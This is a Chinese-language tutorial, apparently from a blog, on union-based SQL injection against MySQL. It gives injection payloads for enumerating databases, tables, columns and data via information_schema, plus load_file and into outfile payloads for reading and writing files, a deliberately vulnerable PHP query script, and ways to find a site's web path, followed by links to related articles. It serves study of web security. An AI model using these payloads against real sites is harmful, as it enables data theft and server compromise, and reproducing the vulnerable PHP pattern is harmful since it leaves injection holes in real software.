mysql数据库结构:

  数据库A  --> 表名  --> 列名 --> 数据

  数据库B  --> 表名  --> 列名 --> 数据

mysql数据库信息:

  mysql 5.0以上自带数据库:information_schema

  information_schema.schemata: 数据库下的schemata库名,含义:存储所有数据库下的库名信息的表。

  information_schema.tables: 数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

  information_schema.columns: 数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

  database():数据库名

  user():数据库用户

  version():数据库版本

  @@version_compile_os:操作系统 

  schema_name:库名

  table_name:表名

  column_name:列名

mysql注入过程:

  (1) 判断注入点:  ?id=1 and 1=1 ;? id=1 and 1=2

  (2) 判断长度: ?id=1 order by 3

  (3) 获取基本信息: @@version_compile_os , version()  , database()  , user()

  (4) 获取库名: ?id=1 union select table_schema,2,3 from information_schema.schemata

  (5) 获取表名: ?id=1 union select table_name,2,3 from information_schema.tables where table_schema = 库名[16进制]

  (6) 获取列名: ?id=1 union select column_name,2,3 from information_schema.columns where table_schema = 库名[16进制]

         and table_name = 表名[16进制]

  (7) 获取数据: ?id=1 union select 列名[16进制],列名[16进制],3 from 表名[16进制]

mysql文件读写操作:

  (1) 读取操作:

      ?id=1 union select load_file('d:/123.txt'),2,3

  (2) 写入操作:

      ?id=1 union select '123',2,3 into outfile 'd:/123.txt'

  注意: 路径问题:

        使用"/"或者"\\" ; 原因[编程中"\"多半是转义]

      编码问题:

        数据中有单引号,将数据编码16进制即可

连接mysql数据库语句:

  <?php
  header("content-type:text/html;charset=utf8");
  $id=$_GET['x'];
  $conn=mysql_connect("127.0.0.1","root","root");
  mysql_select_db("sql",$conn);
  $sql = "select * from php where id=$id";
  $result=mysql_query($sql);
  while($row=mysql_fetch_array($result)){
  echo "<br>"."编号".$row['id']."<br>";
  echo "<br>"."用户".$row['user']."<br>";
  echo "<br>"."密码".$row['password']."<br>";
  }
  mysql_close($conn);
  echo "<br>"."当前执行的sql语句:".$sql;
  ?>

网站路径获取方法

  (1) 遗留文件:

      一般在网站根目录下,命名有php.php info.php phpinfo.php,test.php php_info.php等。

  (2) 报错显示

  (3)漏洞爆路径

  (4) 读取搭建平台配置文件

  (5)社工(字典猜解,谷歌黑客等)

      D:/www/ ; D:/wwwroot/ ; D:/web/ 等

sql注入--mysql的更多相关文章

  1. SQL 注入~MySQL专题

    Recently, 团队在做一个关于SQL的项目,这个专题是项目中的一部分,该部分正是由我来负责的.今天,分享给正在奋斗中的伙伴们,愿,你们在以后的学习道路中能有自己的收获.              ...

  2. c# 登录 防止sql注入 mysql数据库

    利用参数化 防止SQL注入 public string serachName(string name) { string result = ""; try { conn.Open( ...

  3. sql注入mysql注入

    #跨库查询及应用思路 information_schema表特性,记录数据库名.表名.列名对应表 information_schema.schemata:存储所有数据库名 schema_name:数据 ...

  4. sql注入的基本防范手段

    基本的sql注入防御手段,概括来讲就是权限控制和关键词过滤. 防御sql注入 ============================================================= ...

  5. web安全—sql注入漏洞

    SQL注入-mysql注入 一.普通的mysql注入 MySQL注入不像注入access数据库那样,不需要猜.从mysql5.0以上的版本,出现一个虚拟的数据库,即:information_schem ...

  6. pymysql 解决 sql 注入问题

    1. SQL 注入 SQL 注入是非常常见的一种网络攻击方式,主要是通过参数来让 mysql 执行 sql 语句时进行预期之外的操作. 即:因为传入的参数改变SQL的语义,变成了其他命令,从而操作了数 ...

  7. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  8. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  9. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

随机推荐

  1. Elasticsearch java客户端调用cat服务

    开发环境,测试环境,预发环境和生产环境一般相互隔离的,使用开发环境或者测试环境可以使用cat来查看索引的情况 例如: 但预防环境和测试环境是不允许访问的,那怎么办呢? 可以使用后台来查看上述信息,提供 ...

  2. WEB控件没有什么所谓好不好,而是用得好不好

    这几天Insus.NET有写几篇博文,虽然写得没怎么样,但均是Insus.NET现实开发过程中所遇或是所想的一些内容.<没有什么,开发ASP.NET时随便写写,想到什么写什么>http:/ ...

  3. 念念不忘,ASP.NET MVC显示WebForm网页或UserControl控件

    学习与使用ASP.NET MVC这样久,还是对asp.net念念不忘.能否在asp.net mvc去显示aspx或是user control呢?这个灵感(算不上灵感,只能算是想法)是来自前些天有写过一 ...

  4. Servlet基础知识点整理

    常用注解 官方文档:https://docs.oracle.com/javaee/7/api/toc.htm WebServlet @WebServlet用于定义一个Servlet,等价于下面的xml ...

  5. Java - equals方法

    java提高篇(十三)-----equals()方法总结 equal和==区别 ==比较对象基于内存引用,两个引用完全相同返回true Java 语言里的 equals方法其实是交给开发者去覆写的,让 ...

  6. 封装7z软件实现批量文件或目录压缩

    哈哈,作为一个特别懒的运维人来说 兄弟我写了一个批量压缩文件或目录的小工具,用来批量压缩文件目录 弄一下,然后就不用管他了,后天看结果就好了 操作步骤: 1.选择想做压缩处理的根目录 2.选择你要的功 ...

  7. 洛谷P3248 [HNOI2016]树(主席树 倍增 )

    题意 题目链接 Sol 从上午九点淦到现在qwq 思路比较简单,就是把每次加入的一坨点看成一个,然后直接倍增搞.. 然后慢慢调就可以了... 最后数量级会到达\(10^{10}\),所以应该开long ...

  8. 【代码笔记】iOS-在导航栏中显示等待对话框

    一,效果图. 二,代码. ViewController.m #import "ViewController.h" @interface ViewController () @end ...

  9. 【代码笔记】iOS-播放从网络上下载的语音

    代码: ViewController.m #import "ViewController.h" //录音 #import <AVFoundation/AVFoundation ...

  10. Python使用MySQLConnector/Python操作MySQL、MariaDB数据库

    使用MySQL Connector/Python操作MySQL.MariaDB数据库   by:授客 QQ:1033553122 因目前MySQLdb并不支持python3.x,而MySQL官方已经提 ...